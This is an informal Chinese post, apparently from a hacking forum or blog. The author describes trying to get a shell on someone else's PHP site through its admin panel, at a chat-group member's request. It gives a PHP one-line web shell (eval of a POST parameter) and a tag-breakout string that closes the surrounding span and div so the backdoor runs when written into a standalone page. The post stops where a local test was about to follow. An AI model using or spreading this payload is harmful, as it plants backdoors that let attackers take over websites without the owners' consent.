今天群里一个鸟人丢个后台叫帮忙拿shell。一看是FCK,就各种去弄了...结果无功而返,PHP语言。过程就不说了,不是重点.后来在前台打开各种链接以及配合后台查看发现他的关于我们\招贤纳士只能的页面是独立的php页面.这就好办了。写个一句话即可。至于怎么写,我这就扯下。  
看代码:  
  <div id="con660" class="left">  
   <div class="con">  
  <h4>业务领域</h4>  
       <span class="hei">标题</span><br>  
    <br>  
       <span class="hei">标题2</span><br>  
    <div class="heidian">内容</div>  
<div class="heidian">内容</div>  
<div class="heidian">内容</div>  
<div class="heidian">内容</div><br>  
        
   </div>  
  <div class="clear"></div>  
  </div>  
  
这是他后台能够控制的部分,可以看到,标题和内容都被放在一个DIV里面  
就拿标题部分来说吧  
<span class="hei">标题</span>  
直接写入一句话 将会变成  
<span class="hei"><?php @eval($\_POST['pass']);?></span>  
这样是不能执行成功的,我们要做的,仅仅只是加多一点代码而已,说白了就是想办法脱离这个<span>和<div>的控制。  
比如我们把标题写成  
</span></div><?php @eval($\_POST['pass']);?><span>  
这样输出结果就变成  
  
<div><span class="hei"></span></div><?php @eval($\_POST['pass']);?><span></span>  
这样就可以成功执行我们的代码了.但是今天这个后台标题限制了字数,内容编辑器也被那货搞坏了。就没成功,只能写  
</span></div><?php @eval($\_POST  
于是,我告诉他了,他怀疑了,呵呵,这其实只是一段简单的代码,说白了就等于是注释掉DIV SPAN,和你拿到shell后插一句话后门一个概念.于是我本地测试给他看看吧:  
